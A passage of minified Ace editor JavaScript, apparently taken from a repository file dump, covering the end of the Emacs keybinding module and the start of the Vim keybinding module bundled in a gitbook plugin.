l=function(e){e.oldSession&&(e.oldSession.$selectLongWords=a,e.oldSession.$useEmacsStyleLineStart=f),a=e.session.$selectLongWords,e.session.$selectLongWords=!0,f=e.session.$useEmacsStyleLineStart,e.session.$useEmacsStyleLineStart=!0,e.session.hasOwnProperty(\"$emacsMark\")||(e.session.$emacsMark=null),e.session.hasOwnProperty(\"$emacsMarkRing\")||(e.session.$emacsMarkRing=[])},c=function(e){e.editor.session.$emacsMark=null},h=e(\"../lib/keys\").KEY_MODS,p={C:\"ctrl\",S:\"shift\",M:\"alt\",CMD:\"command\"},d=[\"C-S-M-CMD\",\"S-M-CMD\",\"C-M-CMD\",\"C-S-CMD\",\"C-S-M\",\"M-CMD\",\"S-CMD\",\"S-M\",\"C-CMD\",\"C-M\",\"C-S\",\"CMD\",\"M\",\"S\",\"C\"];d.forEach(function(e){var t=0;e.split(\"-\").forEach(function(e){t|=h[p[e]]}),p[t]=e.toLowerCase()+\"-\"}),t.handler.onCopy=function(e,n){if(n.$handlesEmacsOnCopy)return;n.$handlesEmacsOnCopy=!0,t.handler.commands.killRingSave.exec(n),n.$handlesEmacsOnCopy=!1},t.handler.onPaste=function(e,t){t.pushEmacsMark(t.getCursorPosition())},t.handler.bindKey=function(e,t){typeof e==\"object\"&&(e=e[this.platform]);if(!e)return;var n=this.commandKeyBinding;e.split(\"|\").forEach(function(e){e=e.toLowerCase(),n[e]=t;var r=e.split(\" \").slice(0,-1);r.reduce(function(e,t,n){var r=e[n-1]?e[n-1]+\" \":\"\";return e.concat([r+t])},[]).forEach(function(e){n[e]||(n[e]=\"null\")})},this)},t.handler.getStatusText=function(e,t){var n=\"\";return t.count&&(n+=t.count),t.keyChain&&(n+=\" \"+t.keyChain),n},t.handler.handleKeyboard=function(e,t,n,r){if(r===-1)return undefined;var i=e.editor;i._signal(\"changeStatus\");if(t==-1){i.pushEmacsMark();if(e.count){var s=(new Array(e.count+1)).join(n);return e.count=null,{command:\"insertstring\",args:s}}}var o=p[t];if(o==\"c-\"||e.count){var u=parseInt(n[n.length-1]);if(typeof u==\"number\"&&!isNaN(u))return e.count=Math.max(e.count,0)||0,e.count=10*e.count+u,{command:\"null\"}}o&&(n=o+n),e.keyChain&&(n=e.keyChain+=\" \"+n);var a=this.commandKeyBinding[n];e.keyChain=a==\"null\"?n:\"\";if(!a)return undefined;if(a===\"null\")return{command:\"null\"};if(a===\"universalArgument\")return e.count=-4,{command:\"null\"};var f;typeof a!=\"string\"&&(f=a.args,a.command&&(a=a.command),a===\"goorselect\"&&(a=i.emacsMark()?f[1]:f[0],f=null));if(typeof a==\"string\"){(a===\"insertstring\"||a===\"splitline\"||a===\"togglecomment\")&&i.pushEmacsMark(),a=this.commands[a]||i.commands.commands[a];if(!a)return undefined}!a.readOnly&&!a.isYank&&(e.lastCommand=null),!a.readOnly&&i.emacsMark()&&i.setEmacsMark(null);if(e.count){var u=e.count;e.count=0;if(!a||!a.handlesCount)return{args:f,command:{exec:function(e,t){for(var n=0;n<u;n++)a.exec(e,t)},multiSelectAction:a.multiSelectAction}};f||(f={}),typeof f==\"object\"&&(f.count=u)}return{command:a,args:f}},t.emacsKeys={\"Up|C-p\":{command:\"goorselect\",args:[\"golineup\",\"selectup\"]},\"Down|C-n\":{command:\"goorselect\",args:[\"golinedown\",\"selectdown\"]},\"Left|C-b\":{command:\"goorselect\",args:[\"gotoleft\",\"selectleft\"]},\"Right|C-f\":{command:\"goorselect\",args:[\"gotoright\",\"selectright\"]},\"C-Left|M-b\":{command:\"goorselect\",args:[\"gotowordleft\",\"selectwordleft\"]},\"C-Right|M-f\":{command:\"goorselect\",args:[\"gotowordright\",\"selectwordright\"]},\"Home|C-a\":{command:\"goorselect\",args:[\"gotolinestart\",\"selecttolinestart\"]},\"End|C-e\":{command:\"goorselect\",args:[\"gotolineend\",\"selecttolineend\"]},\"C-Home|S-M-,\":{command:\"goorselect\",args:[\"gotostart\",\"selecttostart\"]},\"C-End|S-M-.\":{command:\"goorselect\",args:[\"gotoend\",\"selecttoend\"]},\"S-Up|S-C-p\":\"selectup\",\"S-Down|S-C-n\":\"selectdown\",\"S-Left|S-C-b\":\"selectleft\",\"S-Right|S-C-f\":\"selectright\",\"S-C-Left|S-M-b\":\"selectwordleft\",\"S-C-Right|S-M-f\":\"selectwordright\",\"S-Home|S-C-a\":\"selecttolinestart\",\"S-End|S-C-e\":\"selecttolineend\",\"S-C-Home\":\"selecttostart\",\"S-C-End\":\"selecttoend\",\"C-l\":\"recenterTopBottom\",\"M-s\":\"centerselection\",\"M-g\":\"gotoline\",\"C-x C-p\":\"selectall\",\"C-Down\":{command:\"goorselect\",args:[\"gotopagedown\",\"selectpagedown\"]},\"C-Up\":{command:\"goorselect\",args:[\"gotopageup\",\"selectpageup\"]},\"PageDown|C-v\":{command:\"goorselect\",args:[\"gotopagedown\",\"selectpagedown\"]},\"PageUp|M-v\":{command:\"goorselect\",args:[\"gotopageup\",\"selectpageup\"]},\"S-C-Down\":\"selectpagedown\",\"S-C-Up\":\"selectpageup\",\"C-s\":\"iSearch\",\"C-r\":\"iSearchBackwards\",\"M-C-s\":\"findnext\",\"M-C-r\":\"findprevious\",\"S-M-5\":\"replace\",Backspace:\"backspace\",\"Delete|C-d\":\"del\",\"Return|C-m\":{command:\"insertstring\",args:\"\\n\"},\"C-o\":\"splitline\",\"M-d|C-Delete\":{command:\"killWord\",args:\"right\"},\"C-Backspace|M-Backspace|M-Delete\":{command:\"killWord\",args:\"left\"},\"C-k\":\"killLine\",\"C-y|S-Delete\":\"yank\",\"M-y\":\"yankRotate\",\"C-g\":\"keyboardQuit\",\"C-w|C-S-W\":\"killRegion\",\"M-w\":\"killRingSave\",\"C-Space\":\"setMark\",\"C-x C-x\":\"exchangePointAndMark\",\"C-t\":\"transposeletters\",\"M-u\":\"touppercase\",\"M-l\":\"tolowercase\",\"M-/\":\"autocomplete\",\"C-u\":\"universalArgument\",\"M-;\":\"togglecomment\",\"C-/|C-x u|S-C--|C-z\":\"undo\",\"S-C-/|S-C-x u|C--|S-C-z\":\"redo\",\"C-x r\":\"selectRectangularRegion\",\"M-x\":{command:\"focusCommandLine\",args:\"M-x \"}},t.handler.bindKeys(t.emacsKeys),t.handler.addCommands({recenterTopBottom:function(e){var t=e.renderer,n=t.$cursorLayer.getPixelPosition(),r=t.$size.scrollerHeight-t.lineHeight,i=t.scrollTop;Math.abs(n.top-i)<2?i=n.top-r:Math.abs(n.top-i-r*.5)<2?i=n.top:i=n.top-r*.5,e.session.setScrollTop(i)},selectRectangularRegion:function(e){e.multiSelect.toggleBlockSelection()},setMark:{exec:function(e,t){function u(){var t=e.popEmacsMark();t&&e.moveCursorToPosition(t)}if(t&&t.count){e.inMultiSelectMode?e.forEachSelection(u):u(),u();return}var n=e.emacsMark(),r=e.selection.getAllRanges(),i=r.map(function(e){return{row:e.start.row,column:e.start.column}}),s=!0,o=r.every(function(e){return e.isEmpty()});if(s&&(n||!o)){e.inMultiSelectMode?e.forEachSelection({exec:e.clearSelection.bind(e)}):e.clearSelection(),n&&e.pushEmacsMark(null);return}if(!n){i.forEach(function(t){e.pushEmacsMark(t)}),e.setEmacsMark(i[i.length-1]);return}},readOnly:!0,handlesCount:!0},exchangePointAndMark:{exec:function(t,n){var r=t.selection;if(!n.count&&!r.isEmpty()){r.setSelectionRange(r.getRange(),!r.isBackwards());return}if(n.count){var i={row:r.lead.row,column:r.lead.column};r.clearSelection(),r.moveCursorToPosition(t.emacsMarkForSelection(i))}else r.selectToPosition(t.emacsMarkForSelection())},readOnly:!0,handlesCount:!0,multiSelectAction:\"forEach\"},killWord:{exec:function(e,n){e.clearSelection(),n==\"left\"?e.selection.selectWordLeft():e.selection.selectWordRight();var r=e.getSelectionRange(),i=e.session.getTextRange(r);t.killRing.add(i),e.session.remove(r),e.clearSelection()},multiSelectAction:\"forEach\"},killLine:function(e){e.pushEmacsMark(null),e.clearSelection();var n=e.getSelectionRange(),r=e.session.getLine(n.start.row);n.end.column=r.length,r=r.substr(n.start.column);var i=e.session.getFoldLine(n.start.row);i&&n.end.row!=i.end.row&&(n.end.row=i.end.row,r=\"x\"),/^\\s*$/.test(r)&&(n.end.row++,r=e.session.getLine(n.end.row),n.end.column=/^\\s*$/.test(r)?r.length:0);var s=e.session.getTextRange(n);e.prevOp.command==this?t.killRing.append(s):t.killRing.add(s),e.session.remove(n),e.clearSelection()},yank:function(e){e.onPaste(t.killRing.get()||\"\"),e.keyBinding.$data.lastCommand=\"yank\"},yankRotate:function(e){if(e.keyBinding.$data.lastCommand!=\"yank\")return;e.undo(),e.session.$emacsMarkRing.pop(),e.onPaste(t.killRing.rotate()),e.keyBinding.$data.lastCommand=\"yank\"},killRegion:{exec:function(e){t.killRing.add(e.getCopyText()),e.commands.byName.cut.exec(e)},readOnly:!0,multiSelectAction:\"forEach\"},killRingSave:{exec:function(e){e.$handlesEmacsOnCopy=!0;var n=e.session.$emacsMarkRing.slice(),r=[];t.killRing.add(e.getCopyText()),setTimeout(function(){function t(){var t=e.selection,n=t.getRange(),i=t.isBackwards()?n.end:n.start;r.push({row:i.row,column:i.column}),t.clearSelection()}e.$handlesEmacsOnCopy=!1,e.inMultiSelectMode?e.forEachSelection({exec:t}):t(),e.session.$emacsMarkRing=n.concat(r.reverse())},0)},readOnly:!0},keyboardQuit:function(e){e.selection.clearSelection(),e.setEmacsMark(null),e.keyBinding.$data.count=null},focusCommandLine:function(e,t){e.showCommandLine&&e.showCommandLine(t)}}),t.handler.addCommands(i.iSearchStartCommands);var v=t.handler.commands;v.yank.isYank=!0,v.yankRotate.isYank=!0,t.killRing={$data:[],add:function(e){e&&this.$data.push(e),this.$data.length>30&&this.$data.shift()},append:function(e){var t=this.$data.length-1,n=this.$data[t]||\"\";e&&(n+=e),n&&(this.$data[t]=n)},get:function(e){return e=e||1,this.$data.slice(this.$data.length-e,this.$data.length).reverse().join(\"\\n\")},pop:function(){return this.$data.length>1&&this.$data.pop(),this.get()},rotate:function(){return this.$data.unshift(this.$data.pop()),this.get()}}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/keybinding-vim.js",
    "content": "define(\"ace/keyboard/vim\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/event_emitter\",\"ace/lib/dom\",\"ace/lib/oop\",\"ace/lib/keys\",\"ace/lib/event\",\"ace/search\",\"ace/lib/useragent\",\"ace/search_highlight\",\"ace/commands/multi_select_commands\",\"ace/mode/text\",\"ace/multi_select\"],function(e,t,n){\"use strict\";function r(){function t(e){return typeof e!=\"object\"?e+\"\":\"line\"in e?e.line+\":\"+e.ch:\"anchor\"in e?t(e.anchor)+\"->\"+t(e.head):Array.isArray(e)?\"[\"+e.map(function(e){return t(e)})+\"]\":JSON.stringify(e)}var e=\"\";for(var n=0;n<arguments.length;n++){var r=arguments[n],i=t(r);e+=i+\"  \"}console.log(e)}function m(e){return{row:e.line,column:e.ch}}function g(e){return new E(e.row,e.column)}function x(e){e.setOption(\"disableInput\",!0),e.setOption(\"showCursorWhenSelecting\",!1),v.signal(e,\"vim-mode-change\",{mode:\"normal\"}),e.on(\"cursorActivity\",Jn),tt(e),v.on(e.getInputField(),\"paste\",M(e))}function T(e){e.setOption(\"disableInput\",!1),e.off(\"cursorActivity\",Jn),v.off(e.getInputField(),\"paste\",M(e)),e.state.vim=null}function N(e,t){this==v.keyMap.vim&&v.rmClass(e.getWrapperElement(),\"cm-fat-cursor\"),(!t||t.attach!=C)&&T(e,!1)}function C(e,t){this==v.keyMap.vim&&v.addClass(e.getWrapperElement(),\"cm-fat-cursor\"),(!t||t.attach!=C)&&x(e)}function k(e,t){if(!t)return undefined;var n=O(e);if(!n)return!1;var r=v.Vim.findKey(t,n);return typeof r==\"function\"&&v.signal(t,\"vim-keypress\",n),r}function O(e){if(e.charAt(0)==\"'\")return e.charAt(1);var t=e.split(\"-\");/-$/.test(e)&&t.splice(-2,2,\"-\");var n=t[t.length-1];if(t.length==1&&t[0].length==1)return!1;if(t.length==2&&t[0]==\"Shift\"&&n.length==1)return!1;var r=!1;for(var i=0;i<t.length;i++){var s=t[i];s in L?t[i]=L[s]:r=!0,s in A&&(t[i]=A[s])}return r?(X(n)&&(t[t.length-1]=n.toLowerCase()),\"<\"+t.join(\"-\")+\">\"):!1}function M(e){var t=e.state.vim;return t.onPasteFn||(t.onPasteFn=function(){t.insertMode||(e.setCursor(St(e.getCursor(),0,1)),yt.enterInsertMode(e,{},t))}),t.onPasteFn}function H(e,t){var n=[];for(var r=e;r<e+t;r++)n.push(String.fromCharCode(r));return n}function R(e,t){return t>=e.firstLine()&&t<=e.lastLine()}function U(e){return/^[a-z]$/.test(e)}function z(e){return\"()[]{}\".indexOf(e)!=-1}function W(e){return _.test(e)}function X(e){return/^[A-Z]$/.test(e)}function V(e){return/^\\s*$/.test(e)}function $(e,t){for(var n=0;n<t.length;n++)if(t[n]==e)return!0;return!1}function K(e,t,n,r,i){if(t===undefined&&!i)throw Error(\"defaultValue is required unless callback is provided\");n||(n=\"string\"),J[e]={type:n,defaultValue:t,callback:i};if(r)for(var s=0;s<r.length;s++)J[r[s]]=J[e];t&&Q(e,t)}function Q(e,t,n,r){var i=J[e];r=r||{};var s=r.scope;if(!i)throw Error(\"Unknown option: \"+e);if(i.type==\"boolean\"){if(t&&t!==!0)throw Error(\"Invalid argument: \"+e+\"=\"+t);t!==!1&&(t=!0)}i.callback?(s!==\"local\"&&i.callback(t,undefined),s!==\"global\"&&n&&i.callback(t,n)):(s!==\"local\"&&(i.value=i.type==\"boolean\"?!!t:t),s!==\"global\"&&n&&(n.state.vim.options[e]={value:t}))}function G(e,t,n){var r=J[e];n=n||{};var i=n.scope;if(!r)throw Error(\"Unknown option: \"+e);if(r.callback){var s=t&&r.callback(undefined,t);if(i!==\"global\"&&s!==undefined)return s;if(i!==\"local\")return r.callback();return}var s=i!==\"global\"&&t&&t.state.vim.options[e];return(s||i!==\"local\"&&r||{}).value}function et(){this.latestRegister=undefined,this.isPlaying=!1,this.isRecording=!1,this.replaySearchQueries=[],this.onRecordingDone=undefined,this.lastInsertModeChanges=Z()}function tt(e){return e.state.vim||(e.state.vim={inputState:new ot,lastEditInputState:undefined,lastEditActionCommand:undefined,lastHPos:-1,lastHSPos:-1,lastMotion:null,marks:{},fakeCursor:null,insertMode:!1,insertModeRepeat:undefined,visualMode:!1,visualLine:!1,visualBlock:!1,lastSelection:null,lastPastedText:null,sel:{},options:{}}),e.state.vim}function rt(){nt={searchQuery:null,searchIsReversed:!1,lastSubstituteReplacePart:undefined,jumpList:Y(),macroModeState:new et,lastChararacterSearch:{increment:0,forward:!0,selectedCharacter:\"\"},registerController:new lt({}),searchHistoryController:new ct({}),exCommandHistoryController:new ct({})};for(var e in J){var t=J[e];t.value=t.defaultValue}}function ot(){this.prefixRepeat=[],this.motionRepeat=[],this.operator=null,this.operatorArgs=null,this.motion=null,this.motionArgs=null,this.keyBuffer=[],this.registerName=null}function ut(e,t){e.state.vim.inputState=new ot,v.signal(e,\"vim-command-done\",t)}function at(e,t,n){this.clear(),this.keyBuffer=[e||\"\"],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!!t,this.blockwise=!!n}function ft(e,t){var n=nt.registerController.registers[e];if(!e||e.length!=1)throw Error(\"Register name must be 1 character\");n[e]=t,q.push(e)}function lt(e){this.registers=e,this.unnamedRegister=e['\"']=new at,e[\".\"]=new at,e[\":\"]=new at,e[\"/\"]=new at}function ct(){this.historyBuffer=[],this.iterator,this.initialPrefix=null}function dt(e,t){pt[e]=t}function vt(e,t){var n=[];for(var r=0;r<t;r++)n.push(e);return n}function gt(e,t){mt[e]=t}function bt(e,t){yt[e]=t}function wt(e,t,n){var r=Math.min(Math.max(e.firstLine(),t.line),e.lastLine()),i=Pt(e,r)-1;i=n?i+1:i;var s=Math.min(Math.max(0,t.ch),i);return E(r,s)}function Et(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}function St(e,t,n){return typeof t==\"object\"&&(n=t.ch,t=t.line),E(e.line+t,e.ch+n)}function xt(e,t){return{line:t.line-e.line,ch:t.line-e.line}}function Tt(e,t,n,r){var i,s=[],o=[];for(var u=0;u<t.length;u++){var a=t[u];if(n==\"insert\"&&a.context!=\"insert\"||a.context&&a.context!=n||r.operator&&a.type==\"action\"||!(i=Nt(e,a.keys)))continue;i==\"partial\"&&s.push(a),i==\"full\"&&o.push(a)}return{partial:s.length&&s,full:o.length&&o}}function Nt(e,t){if(t.slice(-11)==\"<character>\"){var n=t.length-11,r=e.slice(0,n),i=t.slice(0,n);return r==i&&e.length>n?\"full\":i.indexOf(r)==0?\"partial\":!1}return e==t?\"full\":t.indexOf(e)==0?\"partial\":!1}function Ct(e){var t=/^.*(<[\\w\\-]+>)$/.exec(e),n=t?t[1]:e.slice(-1);if(n.length>1)switch(n){case\"<CR>\":n=\"\\n\";break;case\"<Space>\":n=\" \";break;default:}return n}function kt(e,t,n){return function(){for(var r=0;r<n;r++)t(e)}}function Lt(e){return E(e.line,e.ch)}function At(e,t){return e.ch==t.ch&&e.line==t.line}function Ot(e,t){return e.line<t.line?!0:e.line==t.line&&e.ch<t.ch?!0:!1}function Mt(e,t){return arguments.length>2&&(t=Mt.apply(undefined,Array.prototype.slice.call(arguments,1))),Ot(e,t)?e:t}function _t(e,t){return arguments.length>2&&(t=_t.apply(undefined,Array.prototype.slice.call(arguments,1))),Ot(e,t)?t:e}function Dt(e,t,n){var r=Ot(e,t),i=Ot(t,n);return r&&i}function Pt(e,t){return e.getLine(t).length}function Ht(e){return e.trim?e.trim():e.replace(/^\\s+|\\s+$/g,\"\")}function Bt(e){return e.replace(/([.?*+$\\[\\]\\/\\\\(){}|\\-])/g,\"\\\\$1\")}function jt(e,t,n){var r=Pt(e,t),i=(new Array(n-r+1)).join(\" \");e.setCursor(E(t,r)),e.replaceRange(i,e.getCursor())}function Ft(e,t){var n=[],r=e.listSelections(),i=Lt(e.clipPos(t)),s=!At(t,i),o=e.getCursor(\"head\"),u=qt(r,o),a=At(r[u].head,r[u].anchor),f=r.length-1,l=f-u>u?f:0,c=r[l].anchor,h=Math.min(c.line,i.line),p=Math.max(c.line,i.line),d=c.ch,v=i.ch,m=r[l].head.ch-d,g=v-d;m>0&&g<=0?(d++,s||v--):m<0&&g>=0?(d--,a||v++):m<0&&g==-1&&(d--,v++);for(var y=h;y<=p;y++){var b={anchor:new E(y,d),head:new E(y,v)};n.push(b)}return u=i.line==p?n.length-1:0,e.setSelections(n),t.ch=v,c.ch=d,c}function It(e,t,n){var r=[];for(var i=0;i<n;i++){var s=St(t,i,0);r.push({anchor:s,head:s})}e.setSelections(r,0)}function qt(e,t,n){for(var r=0;r<e.length;r++){var i=n!=\"head\"&&At(e[r].anchor,t),s=n!=\"anchor\"&&At(e[r].head,t);if(i||s)return r}return-1}function Rt(e,t){var n=t.lastSelection,r=function(){var t=e.listSelections(),n=t[0],r=t[t.length-1],i=Ot(n.anchor,n.head)?n.anchor:n.head,s=Ot(r.anchor,r.head)?r.head:r.anchor;return[i,s]},i=function(){var t=e.getCursor(),r=e.getCursor(),i=n.visualBlock;if(i){var s=i.width,o=i.height;r=E(t.line+o,t.ch+s);var u=[];for(var a=t.line;a<r.line;a++){var f=E(a,t.ch),l=E(a,r.ch),c={anchor:f,head:l};u.push(c)}e.setSelections(u)}else{var h=n.anchorMark.find(),p=n.headMark.find(),d=p.line-h.line,v=p.ch-h.ch;r={line:r.line+d,ch:d?r.ch:v+r.ch},n.visualLine&&(t=E(t.line,0),r=E(r.line,Pt(e,r.line))),e.setSelection(t,r)}return[t,r]};return t.visualMode?r():i()}function Ut(e,t){var n=t.sel.anchor,r=t.sel.head;t.lastPastedText&&(r=e.posFromIndex(e.indexFromPos(n)+t.lastPastedText.length),t.lastPastedText=null),t.lastSelection={anchorMark:e.setBookmark(n),headMark:e.setBookmark(r),anchor:Lt(n),head:Lt(r),visualMode:t.visualMode,visualLine:t.visualLine,visualBlock:t.visualBlock}}function zt(e,t,n){var r=e.state.vim.sel,i=r.head,s=r.anchor,o;return Ot(n,t)&&(o=n,n=t,t=o),Ot(i,s)?(i=Mt(t,i),s=_t(s,n)):(s=Mt(t,s),i=_t(i,n),i=St(i,0,-1),i.ch==-1&&i.line!=e.firstLine()&&(i=E(i.line-1,Pt(e,i.line-1)))),[s,i]}function Wt(e,t,n){var r=e.state.vim;t=t||r.sel;var n=n||r.visualLine?\"line\":r.visualBlock?\"block\":\"char\",i=Xt(e,t,n);e.setSelections(i.ranges,i.primary),Kn(e)}function Xt(e,t,n,r){var i=Lt(t.head),s=Lt(t.anchor);if(n==\"char\"){var o=!r&&!Ot(t.head,t.anchor)?1:0,u=Ot(t.head,t.anchor)?1:0;return i=St(t.head,0,o),s=St(t.anchor,0,u),{ranges:[{anchor:s,head:i}],primary:0}}if(n==\"line\"){if(!Ot(t.head,t.anchor)){s.ch=0;var a=e.lastLine();i.line>a&&(i.line=a),i.ch=Pt(e,i.line)}else i.ch=0,s.ch=Pt(e,s.line);return{ranges:[{anchor:s,head:i}],primary:0}}if(n==\"block\"){var f=Math.min(s.line,i.line),l=Math.min(s.ch,i.ch),c=Math.max(s.line,i.line),h=Math.max(s.ch,i.ch)+1,p=c-f+1,d=i.line==f?0:p-1,v=[];for(var m=0;m<p;m++)v.push({anchor:E(f+m,l),head:E(f+m,h)});return{ranges:v,primary:d}}}function Vt(e){var t=e.getCursor(\"head\");return e.getSelection().length==1&&(t=Mt(t,e.getCursor(\"anchor\"))),t}function $t(e,t){var n=e.state.vim;t!==!1&&e.setCursor(wt(e,n.sel.head)),Ut(e,n),n.visualMode=!1,n.visualLine=!1,n.visualBlock=!1,v.signal(e,\"vim-mode-change\",{mode:\"normal\"}),n.fakeCursor&&n.fakeCursor.clear()}function Jt(e,t,n){var r=e.getRange(t,n);if(/\\n\\s*$/.test(r)){var i=r.split(\"\\n\");i.pop();var s;for(var s=i.pop();i.length>0&&s&&V(s);s=i.pop())n.line--,n.ch=0;s?(n.line--,n.ch=Pt(e,n.line)):n.ch=0}}function Kt(e,t,n){t.ch=0,n.ch=0,n.line++}function Qt(e){if(!e)return 0;var t=e.search(/\\S/);return t==-1?e.length:t}function Gt(e,t,n,r,i){var s=Vt(e),o=e.getLine(s.line),u=s.ch,a=i?D[0]:P[0];while(!a(o.charAt(u))){u++;if(u>=o.length)return null}r?a=P[0]:(a=D[0],a(o.charAt(u))||(a=D[1]));var f=u,l=u;while(a(o.charAt(f))&&f<o.length)f++;while(a(o.charAt(l))&&l>=0)l--;l++;if(t){var c=f;while(/\\s/.test(o.charAt(f))&&f<o.length)f++;if(c==f){var h=l;while(/\\s/.test(o.charAt(l-1))&&l>0)l--;l||(l=h)}}return{start:E(s.line,l),end:E(s.line,f)}}function Yt(e,t,n){At(t,n)||nt.jumpList.add(e,t,n)}function Zt(e,t){nt.lastChararacterSearch.increment=e,nt.lastChararacterSearch.forward=t.forward,nt.lastChararacterSearch.selectedCharacter=t.selectedCharacter}function nn(e,t,n,r){var i=Lt(e.getCursor()),s=n?1:-1,o=n?e.lineCount():-1,u=i.ch,a=i.line,f=e.getLine(a),l={lineText:f,nextCh:f.charAt(u),lastCh:null,index:u,symb:r,reverseSymb:(n?{\")\":\"(\",\"}\":\"{\"}:{\"(\":\")\",\"{\":\"}\"})[r],forward:n,depth:0,curMoveThrough:!1},c=en[r];if(!c)return i;var h=tn[c].init,p=tn[c].isComplete;h&&h(l);while(a!==o&&t){l.index+=s,l.nextCh=l.lineText.charAt(l.index);if(!l.nextCh){a+=s,l.lineText=e.getLine(a)||\"\";if(s>0)l.index=0;else{var d=l.lineText.length;l.index=d>0?d-1:0}l.nextCh=l.lineText.charAt(l.index)}p(l)&&(i.line=a,i.ch=l.index,t--)}return l.nextCh||l.curMoveThrough?E(a,l.index):i}function rn(e,t,n,r,i){var s=t.line,o=t.ch,u=e.getLine(s),a=n?1:-1,f=r?P:D;if(i&&u==\"\"){s+=a,u=e.getLine(s);if(!R(e,s))return null;o=n?0:u.length}for(;;){if(i&&u==\"\")return{from:0,to:0,line:s};var l=a>0?u.length:-1,c=l,h=l;while(o!=l){var p=!1;for(var d=0;d<f.length&&!p;++d)if(f[d](u.charAt(o))){c=o;while(o!=l&&f[d](u.charAt(o)))o+=a;h=o,p=c!=h;if(c==t.ch&&s==t.line&&h==c+a)continue;return{from:Math.min(c,h+1),to:Math.max(c,h),line:s}}p||(o+=a)}s+=a;if(!R(e,s))return null;u=e.getLine(s),o=a>0?0:u.length}throw new Error(\"The impossible happened.\")}function sn(e,t,n,r,i,s){var o=Lt(t),u=[];(r&&!i||!r&&i)&&n++;var a=!r||!i;for(var f=0;f<n;f++){var l=rn(e,t,r,s,a);if(!l){var c=Pt(e,e.lastLine());u.push(r?{line:e.lastLine(),from:c,to:c}:{line:0,from:0,to:0});break}u.push(l),t=E(l.line,r?l.to-1:l.from)}var h=u.length!=n,p=u[0],d=u.pop();return r&&!i?(!h&&(p.from!=o.ch||p.line!=o.line)&&(d=u.pop()),E(d.line,d.from)):r&&i?E(d.line,d.to-1):!r&&i?(!h&&(p.to!=o.ch||p.line!=o.line)&&(d=u.pop()),E(d.line,d.to)):E(d.line,d.from)}function on(e,t,n,r){var i=e.getCursor(),s=i.ch,o;for(var u=0;u<t;u++){var a=e.getLine(i.line);o=fn(s,a,r,n,!0);if(o==-1)return null;s=o}return E(e.getCursor().line,o)}function un(e,t){var n=e.getCursor().line;return wt(e,E(n,t-1))}function an(e,t,n,r){if(!$(n,I))return;t.marks[n]&&t.marks[n].clear(),t.marks[n]=e.setBookmark(r)}function fn(e,t,n,r,i){var s;return r?(s=t.indexOf(n,e+1),s!=-1&&!i&&(s-=1)):(s=t.lastIndexOf(n,e-1),s!=-1&&!i&&(s+=1)),s}function ln(e,t,n,r,i){function c(t){return!/\\S/.test(e.getLine(t))}function h(e,t,n){return n?c(e)!=c(e+t):!c(e)&&c(e+t)}function p(t){r=r>0?1:-1;var n=e.ace.session.getFoldLine(t);n&&t+r>n.start.row&&t+r<n.end.row&&(r=(r>0?n.end.row:n.start.row)-t)}var s=t.line,o=e.firstLine(),u=e.lastLine(),a,f,l=s;if(r){while(o<=l&&l<=u&&n>0)p(l),h(l,r)&&n--,l+=r;return new E(l,0)}var d=e.state.vim;if(d.visualLine&&h(s,1,!0)){var v=d.sel.anchor;h(v.line,-1,!0)&&(!i||v.line!=s)&&(s+=1)}var m=c(s);for(l=s;l<=u&&n;l++)h(l,1,!0)&&(!i||c(l)!=m)&&n--;f=new E(l,0),l>u&&!m?m=!0:i=!1;for(l=s;l>o;l--)if(!i||c(l)==m||l==s)if(h(l,-1,!0))break;return a=new E(l,0),{start:a,end:f}}function cn(e,t,n,r){var i=t,s,o,u={\"(\":/[()]/,\")\":/[()]/,\"[\":/[[\\]]/,\"]\":/[[\\]]/,\"{\":/[{}]/,\"}\":/[{}]/}[n],a={\"(\":\"(\",\")\":\"(\",\"[\":\"[\",\"]\":\"[\",\"{\":\"{\",\"}\":\"{\"}[n],f=e.getLine(i.line).charAt(i.ch),l=f===a?1:0;s=e.scanForBracket(E(i.line,i.ch+l),-1,null,{bracketRegex:u}),o=e.scanForBracket(E(i.line,i.ch+l),1,null,{bracketRegex:u});if(!s||!o)return{start:i,end:i};s=s.pos,o=o.pos;if(s.line==o.line&&s.ch>o.ch||s.line>o.line){var c=s;s=o,o=c}return r?o.ch+=1:s.ch+=1,{start:s,end:o}}function hn(e,t,n,r){var i=Lt(t),s=e.getLine(i.line),o=s.split(\"\"),u,a,f,l,c=o.indexOf(n);i.ch<c?i.ch=c:c<i.ch&&o[i.ch]==n&&(a=i.ch,--i.ch);if(o[i.ch]==n&&!a)u=i.ch+1;else for(f=i.ch;f>-1&&!u;f--)o[f]==n&&(u=f+1);if(u&&!a)for(f=u,l=o.length;f<l&&!a;f++)o[f]==n&&(a=f);return!u||!a?{start:i,end:i}:(r&&(--u,++a),{start:E(i.line,u),end:E(i.line,a)})}function pn(){}function dn(e){var t=e.state.vim;return t.searchState_||(t.searchState_=new pn)}function vn(e,t,n,r,i){e.openDialog?e.openDialog(t,r,{bottom:!0,value:i.value,onKeyDown:i.onKeyDown,onKeyUp:i.onKeyUp,selectValueOnOpen:!1}):r(prompt(n,\"\"))}function mn(e){var t=gn(e)||[];if(!t.length)return[];var n=[];if(t[0]!==0)return;for(var r=0;r<t.length;r++)typeof t[r]==\"number\"&&n.push(e.substring(t[r]+1,t[r+1]));return n}function gn(e){var t=!1,n=[];for(var r=0;r<e.length;r++){var i=e.charAt(r);!t&&i==\"/\"&&n.push(r),t=!t&&i==\"\\\\\"}return n}function yn(e){var t=\"|(){\",n=\"}\",r=!1,i=[];for(var s=-1;s<e.length;s++){var o=e.charAt(s)||\"\",u=e.charAt(s+1)||\"\",a=u&&t.indexOf(u)!=-1;r?((o!==\"\\\\\"||!a)&&i.push(o),r=!1):o===\"\\\\\"?(r=!0,u&&n.indexOf(u)!=-1&&(a=!0),(!a||u===\"\\\\\")&&i.push(o)):(i.push(o),a&&u!==\"\\\\\"&&i.push(\"\\\\\"))}return i.join(\"\")}function wn(e){var t=!1,n=[];for(var r=-1;r<e.length;r++){var i=e.charAt(r)||\"\",s=e.charAt(r+1)||\"\";bn[i+s]?(n.push(bn[i+s]),r++):t?(n.push(i),t=!1):i===\"\\\\\"?(t=!0,W(s)||s===\"$\"?n.push(\"$\"):s!==\"/\"&&s!==\"\\\\\"&&n.push(\"\\\\\")):(i===\"$\"&&n.push(\"$\"),n.push(i),s===\"/\"&&n.push(\"\\\\\"))}return n.join(\"\")}function Sn(e){var t=new 